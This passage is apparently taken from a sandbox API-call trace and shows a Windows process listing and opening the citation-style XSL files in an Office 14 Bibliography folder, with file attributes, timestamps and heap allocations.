ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8a54, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAG.XSL", cAlternateFileName="")) returned 1 [0069.709] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8c3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="TITLE.XSL", cAlternateFileName="")) returned 1 [0069.709] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8bee, dwReserved0=0x0, dwReserved1=0x0, cFileName="YEAR.XSL", cAlternateFileName="")) returned 1 [0069.709] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8bee, dwReserved0=0x0, dwReserved1=0x0, cFileName="YEAR.XSL", cAlternateFileName="")) returned 0 [0069.709] GetLastError () returned 0x12 [0069.709] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066ab8) returned 1 [0069.709] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.710] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1077840) returned 1 [0069.710] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.710] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 1 [0069.710] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0069.710] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.710] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1758048 [0069.710] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1758048, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1758048, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.710] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1758048) returned 1 [0069.710] NtClose (Handle=0x148) returned 0x0 [0069.710] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.710] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.710] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066ab8 [0069.711] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.711] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0069.712] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.712] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9eed00, ftCreationTime.dwHighDateTime=0x1ca5c5e, ftLastAccessTime.dwLowDateTime=0x51448270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9eed00, ftLastWriteTime.dwHighDateTime=0x1ca5c5e, nFileSizeHigh=0x0, nFileSizeLow=0x5cd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="APA.XSL", cAlternateFileName="")) returned 1 [0069.712] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.712] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.712] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.713] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.713] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.713] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1077840 [0069.713] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066ab8) returned 1 [0069.713] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f218 [0069.713] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1077d68 [0069.713] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.713] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24a63000, ftCreationTime.dwHighDateTime=0x1ca5c5f, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24a63000, ftLastWriteTime.dwHighDateTime=0x1ca5c5f, nFileSizeHigh=0x0, nFileSizeLow=0x5282c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHICAGO.XSL", cAlternateFileName="")) returned 1 [0069.713] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.713] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.713] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.713] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.713] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.713] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f238 [0069.713] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1077e70 [0069.713] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.714] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25ddce00, ftCreationTime.dwHighDateTime=0x1c93006, ftLastAccessTime.dwLowDateTime=0x619f9510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25ddce00, ftLastWriteTime.dwHighDateTime=0x1c93006, nFileSizeHigh=0x0, nFileSizeLow=0x40188, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB.XSL", cAlternateFileName="")) returned 1 [0069.714] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.714] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.714] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.714] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.714] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.714] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f258 [0069.714] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1077f78 [0069.714] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.714] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe44d2300, ftCreationTime.dwHighDateTime=0x1c93005, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe44d2300, ftLastWriteTime.dwHighDateTime=0x1c93005, nFileSizeHigh=0x0, nFileSizeLow=0x3cd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostName.XSL", cAlternateFileName="")) returned 1 [0069.714] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.714] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.714] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.714] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.714] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.714] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f278 [0069.715] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1078080 [0069.715] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.715] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828cb900, ftCreationTime.dwHighDateTime=0x1c93005, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x828cb900, ftLastWriteTime.dwHighDateTime=0x1c93005, nFileSizeHigh=0x0, nFileSizeLow=0x3b9d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostTitle.XSL", cAlternateFileName="")) returned 1 [0069.715] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.715] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.715] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.715] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.715] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.715] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f298 [0069.715] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1078188 [0069.715] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.715] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbd7dc00, ftCreationTime.dwHighDateTime=0x1c93004, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbd7dc00, ftLastWriteTime.dwHighDateTime=0x1c93004, nFileSizeHigh=0x0, nFileSizeLow=0x4033d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690.XSL", cAlternateFileName="")) returned 1 [0069.715] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.715] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.715] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.715] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.715] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.716] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f2b8 [0069.716] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1078290 [0069.716] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.716] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a982900, ftCreationTime.dwHighDateTime=0x1c93004, ftLastAccessTime.dwLowDateTime=0x56263450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a982900, ftLastWriteTime.dwHighDateTime=0x1c93004, nFileSizeHigh=0x0, nFileSizeLow=0x3ee6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690Nmerical.XSL", cAlternateFileName="")) returned 1 [0069.716] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.716] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.716] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.716] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.716] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.716] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f2d8 [0069.716] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1078398 [0069.716] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.716] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e2f9800, ftCreationTime.dwHighDateTime=0x1ca5c5f, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e2f9800, ftLastWriteTime.dwHighDateTime=0x1ca5c5f, nFileSizeHigh=0x0, nFileSizeLow=0x49051, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLA.XSL", cAlternateFileName="")) returned 1 [0069.716] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.716] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.716] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.717] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.717] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.717] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f2f8 [0069.717] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10784a0 [0069.717] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.717] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fb63100, ftCreationTime.dwHighDateTime=0x1c6da3c, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2fb63100, ftLastWriteTime.dwHighDateTime=0x1c6da3c, nFileSizeHigh=0x0, nFileSizeLow=0x3bd45, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIST02.XSL", cAlternateFileName="")) returned 1 [0069.717] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.717] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.717] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.717] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.717] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.717] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f318 [0069.717] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10785a8 [0069.717] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.717] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3556a600, ftCreationTime.dwHighDateTime=0x1ca5c5f, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3556a600, ftLastWriteTime.dwHighDateTime=0x1ca5c5f, nFileSizeHigh=0x0, nFileSizeLow=0x52a0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURABIAN.XSL", cAlternateFileName="")) returned 1 [0069.717] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.718] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.718] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f338 [0069.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10786b0 [0069.718] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.718] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3556a600, ftCreationTime.dwHighDateTime=0x1ca5c5f, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3556a600, ftLastWriteTime.dwHighDateTime=0x1ca5c5f, nFileSizeHigh=0x0, nFileSizeLow=0x52a0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURABIAN.XSL", cAlternateFileName="")) returned 0 [0069.718] GetLastError () returned 0x12 [0069.718] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0069.718] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.718] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.718] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9eed00, ftCreationTime.dwHighDateTime=0x1ca5c5e, ftLastAccessTime.dwLowDateTime=0x51448270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9eed00, ftLastWriteTime.dwHighDateTime=0x1ca5c5e, nFileSizeHigh=0x0, nFileSizeLow=0x5cd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="APA.XSL", cAlternateFileName="")) returned 1 [0069.718] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24a63000, ftCreationTime.dwHighDateTime=0x1ca5c5f, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24a63000, ftLastWriteTime.dwHighDateTime=0x1ca5c5f, nFileSizeHigh=0x0, nFileSizeLow=0x5282c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHICAGO.XSL", cAlternateFileName="")) returned 1 [0069.718] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25ddce00, ftCreationTime.dwHighDateTime=0x1c93006, ftLastAccessTime.dwLowDateTime=0x619f9510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25ddce00, ftLastWriteTime.dwHighDateTime=0x1c93006, nFileSizeHigh=0x0, nFileSizeLow=0x40188, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB.XSL", cAlternateFileName="")) returned 1 [0069.718] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe44d2300, ftCreationTime.dwHighDateTime=0x1c93005, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe44d2300, ftLastWriteTime.dwHighDateTime=0x1c93005, nFileSizeHigh=0x0, nFileSizeLow=0x3cd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostName.XSL", cAlternateFileName="")) returned 1 [0069.718] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828cb900, ftCreationTime.dwHighDateTime=0x1c93005, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x828cb900, ftLastWriteTime.dwHighDateTime=0x1c93005, nFileSizeHigh=0x0, nFileSizeLow=0x3b9d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostTitle.XSL", cAlternateFileName="")) returned 1 [0069.718] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbd7dc00, ftCreationTime.dwHighDateTime=0x1c93004, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbd7dc00, ftLastWriteTime.dwHighDateTime=0x1c93004, nFileSizeHigh=0x0, nFileSizeLow=0x4033d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690.XSL", cAlternateFileName="")) returned 1 [0069.718] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a982900, ftCreationTime.dwHighDateTime=0x1c93004, ftLastAccessTime.dwLowDateTime=0x56263450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a982900, ftLastWriteTime.dwHighDateTime=0x1c93004, nFileSizeHigh=0x0, nFileSizeLow=0x3ee6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690Nmerical.XSL", cAlternateFileName="")) returned 1 [0069.719] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e2f9800, ftCreationTime.dwHighDateTime=0x1ca5c5f, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e2f9800, ftLastWriteTime.dwHighDateTime=0x1ca5c5f, nFileSizeHigh=0x0, nFileSizeLow=0x49051, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLA.XSL", cAlternateFileName="")) returned 1 [0069.719] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fb63100, ftCreationTime.dwHighDateTime=0x1c6da3c, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2fb63100, ftLastWriteTime.dwHighDateTime=0x1c6da3c, nFileSizeHigh=0x0, nFileSizeLow=0x3bd45, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIST02.XSL", cAlternateFileName="")) returned 1 [0069.719] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3556a600, ftCreationTime.dwHighDateTime=0x1ca5c5f, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3556a600, ftLastWriteTime.dwHighDateTime=0x1ca5c5f, nFileSizeHigh=0x0, nFileSizeLow=0x52a0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURABIAN.XSL", cAlternateFileName="")) returned 1 [0069.719] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, 